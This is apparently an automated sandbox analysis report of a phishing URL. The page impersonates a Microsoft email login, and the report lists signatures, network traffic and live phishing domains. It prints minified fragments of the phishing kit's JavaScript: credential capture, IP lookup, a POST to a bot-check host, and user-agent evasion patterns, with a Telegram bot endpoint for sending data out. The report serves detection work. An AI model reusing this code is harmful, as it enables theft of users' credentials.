Edit tour

Windows Analysis Report
https://nettl.ntfs2.shop/

Overview

General Information

Sample URL:	https://nettl.ntfs2.shop/
Analysis ID:	1637584
Infos:

Detection

Score:	60
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

AI detected suspicious Javascript

Javascript uses Clearbit API to dynamically determine company logos

Javascript uses Telegram API

Creates files inside the system directory

Deletes files inside the Windows folder

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

Javascript checks online IP of machine

No HTML title found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5728 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 6192 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2240,i,4676294954928455432,3336123572810525567,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2268 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 872 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://nettl.ntfs2.shop/" MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://oka.greenthreads.hr/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The URL 'oka.greenthreads.hr' does not match the legitimate domain 'microsoft.com'., The domain 'greenthreads.hr' is unrelated to Microsoft and could indicate a phishing attempt., The presence of a generic input field 'Enter recipient email' without context is suspicious., The URL uses a domain extension '.hr' which is not typically associated with Microsoft. DOM: 1.3.pages.csv
Source: https://oka.greenthreads.hr/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'oka.greenthreads.hr' does not match the legitimate domain for Microsoft., The domain 'greenthreads.hr' does not have any known association with Microsoft., The presence of a seemingly unrelated domain name and the lack of any direct connection to Microsoft suggest a high likelihood of phishing., The URL structure does not include any recognizable Microsoft subdomains or services. DOM: 1.4.pages.csv

AI detected suspicious Javascript

Source: 1.11..script.csv

Joe Sandbox AI: Detected suspicious JavaScript with source url: https://oka.greenthreads.hr/_next/static/chunks/pa... This script demonstrates several high-risk behaviors, including data exfiltration, obfuscated code, and dynamic code execution. It collects sensitive user information (email, password, IP address, user agent) and sends it to a Telegram bot, which is a strong indicator of malicious intent. The script also checks for bot activity and redirects users to a 'denied' page if detected. Overall, this script poses a significant security risk and should be treated as highly suspicious.

Javascript uses Clearbit API to dynamically determine company logos

Source: https://oka.greenthreads.hr/_next/static/chunks/pages/index-d6318c8b55988a60.js

HTTP Parser: (self.webpackchunk_n_e=self.webpackchunk_n_e||[]).push([[405],{5557:function(e,t,n){(window.__next_p=window.__next_p||[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i),l=n(9812),c=n.n(l);let d=()=>{let[e,t]=(0,o.usestate)(""),[n,i]=(0,o.usestate)(""),[l,d]=(0,o.usestate)(!1),[u,_]=(0,o.usestate)("/favicon.ico"),[p,m]=(0,o.usestate)("verify your email identity to continue."),[g,h]=(0,o.usestate)(!1),x=e=>{t(e.target.value)},b=t=>{if(t.preventdefault(),e.includes("@")){d(!0),m("verify email password");let t=e.split("@")[1];_("https://logo.clearbit.com/".concat(t))}else alert("please enter a valid email address.")},f=async t=>{if(t.preventdefault(),n.length<5){alert("password must be at least 5 characters long.");return}h(!0);try{let t=await s.z.get("https://api64.ipify.org?format=json").then(e=>e.data.ip),a=await s.z.post("https://rail-bot-production.up.railway.app/api/detect_bot",{user_agent:navigator.useragent,ip:t}),{is_b...

Javascript uses Telegram API

Source: https://oka.greenthreads.hr/_next/static/chunks/pages/index-d6318c8b55988a60.js

Source: https://oka.greenthreads.hr/

HTTP Parser: Number of links: 0

Source: https://oka.greenthreads.hr/

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://nettl.ntfs2.shop/

HTTP Parser: Base64 decoded: 1741885917.000000

Source: https://nettl.ntfs2.shop/script.js	HTTP Parser: async function getuserip() { try { const response = await fetch('https://api64.ipify.org?format=json'); const data = await response.json(); return data.ip; } catch (error) { console.error('failed to get ip:', error); return '0.0.0.0'; // default ip in case of error }}// function to detect canvas fingerprintingfunction iscanvasblocked() { try { const canvas = document.createelement("canvas"); const ctx = canvas.getcontext("2d"); if (!ctx) return true; ctx.filltext("bot detection", 10, 10); return ctx.getimagedata(10, 10, 1, 1).data.length === 0; } catch (e) { return true; // if an error occurs, assume the canvas is blocked }}function detectbotlocally() { const botpatterns = [/bot/, /crawl/, /spider/, /scraper/, /python/, /httpclient/, /fetch/, /curl/]; const isbotuseragent = botpatterns.some(pattern => pattern.test(navigator.useragent.tolowercase())); c...
Source: https://oka.greenthreads.hr/_next/static/chunks/pages/index-d6318c8b55988a60.js	HTTP Parser: (self.webpackchunk_n_e=self.webpackchunk_n_e\|\|[]).push([[405],{5557:function(e,t,n){(window.__next_p=window.__next_p\|\|[]).push(["/",function(){return n(6616)}])},6616:function(e,t,n){"use strict";n.r(t);var a=n(5893),o=n(7294),s=n(7066),i=n(2568),r=n.n(i),l=n(9812),c=n.n(l);let d=()=>{let[e,t]=(0,o.usestate)(""),[n,i]=(0,o.usestate)(""),[l,d]=(0,o.usestate)(!1),[u,_]=(0,o.usestate)("/favicon.ico"),[p,m]=(0,o.usestate)("verify your email identity to continue."),[g,h]=(0,o.usestate)(!1),x=e=>{t(e.target.value)},b=t=>{if(t.preventdefault(),e.includes("@")){d(!0),m("verify email password");let t=e.split("@")[1];_("https://logo.clearbit.com/".concat(t))}else alert("please enter a valid email address.")},f=async t=>{if(t.preventdefault(),n.length<5){alert("password must be at least 5 characters long.");return}h(!0);try{let t=await s.z.get("https://api64.ipify.org?format=json").then(e=>e.data.ip),a=await s.z.post("https://rail-bot-production.up.railway.app/api/detect_bot",{user_agent:navigator.useragent,ip:t}),{is_b...

Source: https://oka.greenthreads.hr/	HTTP Parser: HTML title missing
Source: https://oka.greenthreads.hr/	HTTP Parser: HTML title missing
Source: https://oka.greenthreads.hr/	HTTP Parser: HTML title missing
Source: https://oka.greenthreads.hr/	HTTP Parser: HTML title missing

Source: https://oka.greenthreads.hr/

HTTP Parser: <input type="password" .../> found

Source: https://nettl.ntfs2.shop/	HTTP Parser: No favicon
Source: https://nettl.ntfs2.shop/	HTTP Parser: No favicon
Source: https://oka.greenthreads.hr/	HTTP Parser: No favicon
Source: https://oka.greenthreads.hr/	HTTP Parser: No favicon
Source: https://oka.greenthreads.hr/	HTTP Parser: No favicon
Source: https://oka.greenthreads.hr/	HTTP Parser: No favicon

Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="author".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="author".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="author".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="author".. found

Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="copyright".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="copyright".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="copyright".. found
Source: https://oka.greenthreads.hr/	HTTP Parser: No <meta name="copyright".. found

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Directory created: C:\Program Files\Google\Chrome\Application\Dictionaries

Jump to behavior

Source: unknown

HTTPS traffic detected: 131.253.33.254:443 -> 192.168.2.4:49728 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&gs_rn=42&sugkey=AIzaSyA2KlwBX3mkFo30om9LUFYQhpqLoa_BNhE HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEI0qDKAQig4coBCJWhywEInP7MAQiFoM0BCO+pzgEIvtXOAQiA1s4BCMjczgEIiuDOAQiu5M4BCIvlzgE=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/css/19d09a6113afa007.css HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/webpack-ee7e63bc15b31913.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/framework-2c79e2a64abdb08b.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/main-de1ad41d606513c1.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/pages/_app-aea6920bd27938ca.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/186-e401717d9e8b842b.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/chunks/pages/index-d6318c8b55988a60.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/CCVo9BeANpO6WTAXJAXiq/_buildManifest.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/CCVo9BeANpO6WTAXJAXiq/_ssgManifest.js HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /background.jpg HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oka.greenthreads.hr/_next/static/css/19d09a6113afa007.cssAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: oka.greenthreads.hrConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_next/static/css/19d09a6113afa007.css HTTP/1.1Host: oka.greenthreads.hrConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /avatar/1c2c8ad38cd59179ba1f928f49bdd550?d=identicon HTTP/1.1Host: www.gravatar.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageSec-Fetch-Storage-Access: activeReferer: https://oka.greenthreads.hr/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /avatar/1c2c8ad38cd59179ba1f928f49bdd550?d=identicon HTTP/1.1Host: www.gravatar.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /api/redirect?expires=1741885935798&hash=ec1f1b83066847aec38c6ffc424905a2499759e2874e8a3078fcbbeb9029c29b HTTP/1.1Host: patnero.thesilent.deConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/redirect?expires=1741885946065&hash=8c075858579e1c7ec2659346eaf2a5eb53db40d4e764bde4984a3f0d4f930d79 HTTP/1.1Host: patnero.thesilent.deConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: nettl.ntfs2.shop
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: patnero.thesilent.de
Source: global traffic	DNS traffic detected: DNS query: classntfst.shop
Source: global traffic	DNS traffic detected: DNS query: oka.greenthreads.hr
Source: global traffic	DNS traffic detected: DNS query: logo.clearbit.com
Source: global traffic	DNS traffic detected: DNS query: www.gravatar.com
Source: global traffic	DNS traffic detected: DNS query: beacons.gcp.gvt2.com
Source: global traffic	DNS traffic detected: DNS query: api64.ipify.org
Source: global traffic	DNS traffic detected: DNS query: rail-bot-production.up.railway.app

Source: unknown

HTTP traffic detected: POST /report/v4?s=mUng%2Bs0VnheZmCywQUh%2FmeEb%2BuuCbEozpjLwZBQrrynB%2Bkjz1giYTKLYGb1%2F2mkewjoUNlUrwglQIDREypTXwExqW%2BDKgo8v9uAzFRfesv2K1%2B4dTzUtTy2sfwV7GekMkrIo HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 416Content-Type: application/reports+jsonOrigin: https://nettl.ntfs2.shopUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9

Source: chromecache_82.3.dr	String found in binary or memory: https://api.telegram.org/bot
Source: chromecache_82.3.dr	String found in binary or memory: https://api64.ipify.org?format=json
Source: chromecache_72.3.dr	String found in binary or memory: https://feross.org
Source: chromecache_82.3.dr	String found in binary or memory: https://logo.clearbit.com/
Source: chromecache_82.3.dr	String found in binary or memory: https://nr.moralemadefiles.top/
Source: chromecache_82.3.dr	String found in binary or memory: https://rail-bot-production.up.railway.app/api/detect_bot
Source: chromecache_86.3.dr	String found in binary or memory: https://vercel.live/_next-live/feedback/feedback.js
Source: chromecache_82.3.dr	String found in binary or memory: https://www.gravatar.com/avatar/

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
